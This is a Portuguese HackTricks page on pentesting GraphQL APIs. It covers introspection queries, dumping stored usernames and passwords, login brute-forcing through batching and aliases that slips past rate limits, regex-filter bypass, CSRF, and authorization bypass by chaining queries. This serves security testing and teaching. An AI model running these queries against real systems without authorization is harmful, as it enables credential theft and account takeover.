hacktricks/network-services-pentesting/pentesting-web/graphql.md

539 lines
28 KiB
Markdown

# GraphQL
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Introdução
O GraphQL atua como uma alternativa à API REST. As APIs REST exigem que o cliente envie várias solicitações para endpoints diferentes na API para consultar dados do banco de dados do backend. Com o GraphQL, você só precisa enviar uma solicitação para consultar o backend. Isso é muito mais simples porque você não precisa enviar várias solicitações para a API, uma única solicitação pode ser usada para reunir todas as informações necessárias.
## GraphQL
À medida que novas tecnologias surgem, novas vulnerabilidades também surgirão. Por **padrão**, o GraphQL **não** implementa **autenticação**, isso fica a cargo do desenvolvedor implementar. Isso significa que, por padrão, o GraphQL permite que qualquer pessoa o consulte, qualquer informação sensível estará disponível para atacantes não autenticados.
Ao realizar seus ataques de força bruta de diretório, certifique-se de adicionar os seguintes caminhos para verificar as instâncias do GraphQL.
* `/graphql`
* `/graphiql`
* `/graphql.php`
* `/graphql/console`
* `/api`
* `/api/graphql`
* `/graphql/api`
* `/graphql/graphql`
<figure><img src="../../.gitbook/assets/image (6) (1) (3).png" alt=""><figcaption></figcaption></figure>
Uma vez que você encontre uma instância aberta do GraphQL, você precisa saber **quais consultas ela suporta**. Isso pode ser feito usando o sistema de introspecção, mais detalhes podem ser encontrados aqui: [**GraphQL: Uma linguagem de consulta para APIs.**\
É frequentemente útil perguntar a um esquema GraphQL informações sobre quais consultas ele suporta. O GraphQL nos permite fazer isso...](https://graphql.org/learn/introspection/)
### Fingerprint
A ferramenta [**graphw00f**](https://github.com/dolevf/graphw00f) é capaz de detectar qual mecanismo do GraphQL é usado em um servidor e, em seguida, imprime algumas informações úteis para o auditor de segurança.
#### Consultas universais <a href="#universal-queries" id="universal-queries"></a>
Se você enviar `query{__typename}` para qualquer endpoint do GraphQL, ele incluirá a string `{"data": {"__typename": "query"}}` em algum lugar de sua resposta. Isso é conhecido como uma consulta universal e é uma ferramenta útil para sondar se uma URL corresponde a um serviço GraphQL.
A consulta funciona porque todo endpoint do GraphQL tem um campo reservado chamado `__typename` que retorna o tipo do objeto consultado como uma string.
### Enumeração básica
O GraphQL geralmente suporta **GET**, **POST** (x-www-form-urlencoded) e **POST**(json). Embora, por motivos de segurança, seja recomendado permitir apenas json para evitar ataques CSRF.
#### Introspecção
Para usar a introspecção para descobrir informações do esquema, consulte o campo `__schema`. Este campo está disponível no tipo raiz de todas as consultas.
```bash
query={__schema{types{name,fields{name}}}}
```
Com esta consulta, você encontrará o nome de todos os tipos sendo usados:
![](<../../.gitbook/assets/image (202).png>)
{% code overflow="wrap" %}
```bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
```
{% endcode %}
Com essa consulta, você pode extrair todos os tipos, seus campos e seus argumentos (e o tipo dos argumentos). Isso será muito útil para saber como consultar o banco de dados.
![](<../../.gitbook/assets/image (207) (3).png>)
**Erros**
É interessante saber se os **erros** serão **exibidos**, pois eles contribuirão com informações úteis.
```
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
```
![](<../../.gitbook/assets/image (205) (1).png>)
**Enumerar Esquema do Banco de Dados via Introspecção**
{% hint style="info" %}
Se a introspecção estiver habilitada, mas a consulta acima não funcionar, tente remover as diretivas `onOperation`, `onFragment` e `onField` da estrutura da consulta.
{% endhint %}
```bash
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
```
Consulta de introspecção em linha:
```graphql
{
__schema {
types {
name
kind
description
fields {
name
description
args {
name
description
type {
name
kind
}
}
type {
name
kind
}
}
}
}
}
```
```
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
```
A última linha de código é uma consulta graphql que irá extrair todas as meta-informações do graphql (nomes de objetos, parâmetros, tipos...)
![](<../../.gitbook/assets/image (206).png>)
Se a introspecção estiver habilitada, você pode usar o [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) para visualizar em uma interface gráfica todas as opções.
### Consultando
Agora que sabemos que tipo de informação está armazenada no banco de dados, vamos tentar **extrair alguns valores**.
Na introspecção, você pode encontrar **qual objeto você pode consultar diretamente** (porque você não pode consultar um objeto apenas porque ele existe). Na imagem a seguir, você pode ver que o "_queryType_" é chamado "_Query_" e que um dos campos do objeto "_Query_" é "_flags_", que também é um tipo de objeto. Portanto, você pode consultar o objeto flag.
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-17-48.png)
Observe que o tipo da consulta "_flags_" é "_Flags_", e esse objeto é definido da seguinte forma:
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-22-57.png)
Você pode ver que os objetos "_Flags_" são compostos por **nome** e **valor**. Então você pode obter todos os nomes e valores das flags com a consulta:
```javascript
query={flags{name, value}}
```
Observe que, caso o **objeto a ser consultado** seja um **tipo primitivo** como **string**, como no exemplo a seguir
![](<../../.gitbook/assets/image (441).png>)
Você pode consultá-lo apenas com:
```javascript
query={hiddenFlags}
```
Em outro exemplo, onde havia 2 objetos dentro do objeto "_Query_": "_user_" e "_users_".\
Se esses objetos não precisam de nenhum argumento para pesquisar, é possível **recuperar todas as informações deles** apenas **solicitando** os dados desejados. Neste exemplo da Internet, você pode extrair os nomes de usuário e senhas salvos:
![](<../../.gitbook/assets/image (208).png>)
No entanto, neste exemplo, se você tentar fazer isso, receberá este **erro**:
![](<../../.gitbook/assets/image (210).png>)
Parece que de alguma forma ele fará a pesquisa usando o argumento "_**uid**_" do tipo _**Int**_.\
De qualquer forma, já sabíamos disso, na seção [Enumeração Básica](graphql.md#enumeração-básica) foi proposta uma consulta que mostrava todas as informações necessárias: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
Se você ler a imagem fornecida quando eu executo essa consulta, verá que "_**user**_" tinha o **arg** "_**uid**_" do tipo _Int_.
Portanto, realizando uma leve força bruta de _**uid**_, descobri que em _**uid**=**1**_ um nome de usuário e uma senha foram recuperados:\
`query={user(uid:1){user,password}}`
![](<../../.gitbook/assets/image (211).png>)
Observe que **descobri** que poderia solicitar os **parâmetros** "_**user**_" e "_**password**_" porque se eu tentar procurar algo que não existe (`query={user(uid:1){noExists}}`) recebo este erro:
![](<../../.gitbook/assets/image (213).png>)
E durante a fase de **enumeração**, descobri que o objeto "_**dbuser**_" tinha como campos "_**user**_" e "_**password**_.
**Truque de despejo de string de consulta (obrigado a @BinaryShadow\_)**
Se você pode pesquisar por um tipo de string, como: `query={theusers(description: ""){username,password}}` e você **procura por uma string vazia**, ele irá **despejar todos os dados**. (_Observe que este exemplo não está relacionado com o exemplo dos tutoriais, para este exemplo suponha que você possa pesquisar usando "**theusers**" por um campo de String chamado "**description**"_).
GraphQL é uma tecnologia relativamente nova que está começando a ganhar destaque entre startups e grandes corporações. Além da falta de autenticação por padrão, os endpoints do GraphQL podem ser vulneráveis a outros bugs, como IDOR.
### Pesquisando
Para este exemplo, imagine um banco de dados com **pessoas** identificadas pelo e-mail e pelo nome e **filmes** identificados pelo nome e pela classificação. Uma **pessoa** pode ser **amiga** de outras **pessoas** e uma pessoa pode **ter filmes**.
Você pode **pesquisar** pessoas **pelo** nome e obter seus e-mails:
```javascript
{
searchPerson(name: "John Doe") {
email
}
}
```
Você pode **pesquisar** pessoas **pelo** **nome** e obter os **filmes** **inscritos** por elas:
```javascript
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
```
Observe como é indicado recuperar o `name` dos `subscribedMovies` da pessoa.
Você também pode **pesquisar vários objetos ao mesmo tempo**. Neste caso, é feita uma pesquisa por 2 filmes:
```javascript
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
```
Ou até mesmo **relações de vários objetos diferentes usando aliases**:
```javascript
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
```
### Mutations
**As mutações são usadas para fazer alterações no lado do servidor.**
Na **introspecção**, você pode encontrar as **mutações declaradas**. Na imagem a seguir, o "_MutationType_" é chamado de "_Mutation_" e o objeto "_Mutation_" contém os nomes das mutações (como "_addPerson_" neste caso):
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-26-27.png)
Para este exemplo, imagine um banco de dados com **pessoas** identificadas pelo email e nome, e **filmes** identificados pelo nome e classificação. Uma **pessoa** pode ser **amiga** de outras **pessoas** e uma pessoa pode **ter filmes**.
Uma mutação para **criar novos** filmes no banco de dados pode ser como a seguinte (neste exemplo, a mutação é chamada de `addMovie`):
```javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
```
**Observe como os valores e o tipo de dados são indicados na consulta.**
Também pode haver uma **mutação** para **criar** **pessoas** (chamada `addPerson` neste exemplo) com amigos e arquivos (observe que os amigos e filmes devem existir antes de criar uma pessoa relacionada a eles):
```javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
```
### Agrupando ataques de força bruta em 1 solicitação de API
Essa informação foi retirada de [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
Autenticação por meio da API GraphQL com o envio simultâneo de várias consultas com credenciais diferentes para verificá-las. É um ataque clássico de força bruta, mas agora é possível enviar mais de um par de login/senha por solicitação HTTP devido ao recurso de agrupamento do GraphQL. Essa abordagem enganaria aplicativos externos de monitoramento de taxa, fazendo-os pensar que está tudo bem e que não há um robô de força bruta tentando adivinhar senhas.
Abaixo você pode encontrar a demonstração mais simples de uma solicitação de autenticação do aplicativo, com **3 pares de email/senha diferentes de uma vez**. Obviamente, é possível enviar milhares em uma única solicitação da mesma maneira:
![](<../../.gitbook/assets/image (182) (1).png>)
Como podemos ver na captura de tela da resposta, as primeiras e terceiras solicitações retornaram _null_ e refletiram as informações correspondentes na seção de _error_. A **segunda mutação tinha os dados de autenticação corretos** e a resposta continha o token de sessão de autenticação correto.
![](<../../.gitbook/assets/image (119) (1).png>)
## GraphQL sem Introspecção
Cada vez mais, **os pontos de extremidade do GraphQL estão desabilitando a introspecção**. No entanto, os erros que o GraphQL gera quando recebe uma solicitação inesperada são suficientes para que ferramentas como [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) possam recriar a maior parte do esquema.
Além disso, a extensão do Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa as solicitações da API GraphQL que passam pelo Burp** e **constrói** um **esquema** interno do GraphQL com cada nova consulta que ele encontra. Ele também pode expor o esquema para GraphiQL e Voyager. A extensão retorna uma resposta falsa quando recebe uma consulta de introspecção. Como resultado, o GraphQuail mostra todas as consultas, argumentos e campos disponíveis para uso na API. Para mais informações, [**verifique isso**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
### Bypassando as defesas de introspecção do GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
Se você não consegue executar consultas de introspecção na API que está testando, tente inserir um **caractere especial após a palavra-chave `__schema`**.
Quando os desenvolvedores desabilitam a introspecção, eles podem usar uma expressão regular para excluir a palavra-chave `__schema` nas consultas. Você deve tentar caracteres como **espaços**, **quebras de linha** e **vírgulas**, pois eles são **ignorados** pelo GraphQL, mas não pela expressão regular com falhas.
Portanto, se o desenvolvedor tiver excluído apenas `__schema{`, a consulta de introspecção abaixo não será excluída.
```bash
#Introspection query with newline
{
"query": "query{__schema
{queryType{name}}}"
}
```
Se isso não funcionar, tente executar a sonda usando um método de solicitação alternativo, pois a introspecção pode estar desativada apenas para POST. Tente uma solicitação GET ou uma solicitação POST com um tipo de conteúdo `x-www-form-urlencoded`.
### Estruturas GraphQL Vazadas
Se a introspecção estiver desativada, tente analisar o código-fonte do site. As consultas geralmente são pré-carregadas no navegador como bibliotecas JavaScript. Essas consultas pré-escritas podem revelar informações poderosas sobre o esquema e o uso de cada objeto e função. A guia `Sources` das ferramentas de desenvolvedor pode pesquisar todos os arquivos para enumerar onde as consultas estão salvas. Às vezes, até mesmo as consultas protegidas pelo administrador já estão expostas.
```javascript
Inspect/Sources/"Search all files"
file:* mutation
file:* query
```
## CSRF em GraphQL
Se você não sabe o que é CSRF, leia a seguinte página:
{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %}
[csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md)
{% endcontent-ref %}
Lá você vai encontrar vários pontos de extremidade GraphQL **configurados sem tokens CSRF**.
Observe que as solicitações GraphQL geralmente são enviadas por meio de solicitações POST usando o Content-Type **`application/json`**.
```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
```
No entanto, a maioria dos pontos de extremidade do GraphQL também suporta **solicitações POST** no formato **`form-urlencoded`**:
```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
Portanto, como as solicitações CSRF como as anteriores são enviadas **sem solicitações de preflight**, é possível **realizar** **alterações** no GraphQL abusando de um CSRF.
No entanto, observe que o novo valor padrão do cookie para a flag `samesite` no Chrome é `Lax`. Isso significa que o cookie só será enviado por um site de terceiros em solicitações GET.
Observe também que geralmente é possível enviar a **solicitação de consulta** também como uma solicitação **GET** e o token CSRF pode não ser validado em uma solicitação GET.
Além disso, abusando de um [**ataque XS-Search**](../../pentesting-web/xs-search.md), pode ser possível extrair conteúdo do ponto de extremidade GraphQL abusando das credenciais do usuário.
Para mais informações, **verifique a** [**postagem original aqui**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
## Autorização no GraphQL
Muitas funções GraphQL definidas no ponto de extremidade podem verificar apenas a autenticação do solicitante, mas não a autorização.
Modificar as variáveis de entrada da consulta pode levar à **exposição** de detalhes sensíveis da conta [vazada](https://hackerone.com/reports/792927).
A mutação pode até levar à **assunção de conta** tentando modificar dados de outras contas.
```javascript
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
```
### Bypassar autorização no GraphQL
[Encadeando consultas](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) é possível contornar um sistema de autenticação fraco.
No exemplo abaixo, podemos ver que a operação é "forgotPassword" e que ela deve executar apenas a consulta "forgotPassword" associada a ela. Isso pode ser contornado adicionando uma consulta ao final, neste caso, adicionamos "register" e uma variável de usuário para o sistema registrar como um novo usuário.
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
## Bypass de limite de taxa usando aliases
Normalmente, objetos GraphQL não podem conter várias propriedades com o mesmo nome. Os aliases permitem contornar essa restrição **nomeando explicitamente as propriedades que você deseja** que a API retorne. Você pode usar aliases para retornar **múltiplas instâncias do mesmo** tipo de objeto em uma única solicitação.
Para obter mais informações sobre aliases no GraphQL, consulte [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Embora os aliases sejam destinados a limitar o número de chamadas de API que você precisa fazer, eles também podem ser usados para forçar bruta em um ponto de extremidade GraphQL.
Muitos pontos de extremidade terão algum tipo de **limitador de taxa para evitar ataques de força bruta**. Alguns limitadores de taxa funcionam com base no **número de solicitações HTTP** recebidas, em vez do número de operações realizadas no ponto de extremidade. Como os aliases permitem efetivamente enviar várias consultas em uma única mensagem HTTP, eles podem contornar essa restrição.
O exemplo simplificado abaixo mostra uma série de **consultas com aliases verificando se os códigos de desconto da loja são válidos**. Essa operação pode potencialmente contornar o limite de taxa, pois é uma única solicitação HTTP, mesmo que possa ser usada para verificar um grande número de códigos de desconto de uma só vez.
```bash
#Request with aliased queries
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
```
## Ferramentas
### Scanners de Vulnerabilidade
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Conjunto de ferramentas que pode ser usado para obter esquemas e procurar por dados sensíveis, testar autorização, forçar esquemas e encontrar caminhos para um determinado tipo.
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Pode ser usado como um aplicativo independente ou [extensão do Burp](https://github.com/doyensec/inql).
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Pode ser usado como um cliente CLI também para automatizar ataques.
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Ferramenta que lista as diferentes maneiras de alcançar um determinado tipo em um esquema GraphQL.
### Clientes
* [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): Cliente GUI
* [https://altair.sirmuel.design/](https://altair.sirmuel.design/): Cliente GUI
### Testes Automáticos
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
* Vídeo explicando o AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
## Referências
* [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
* [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4)
* [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/)
* [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
* [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>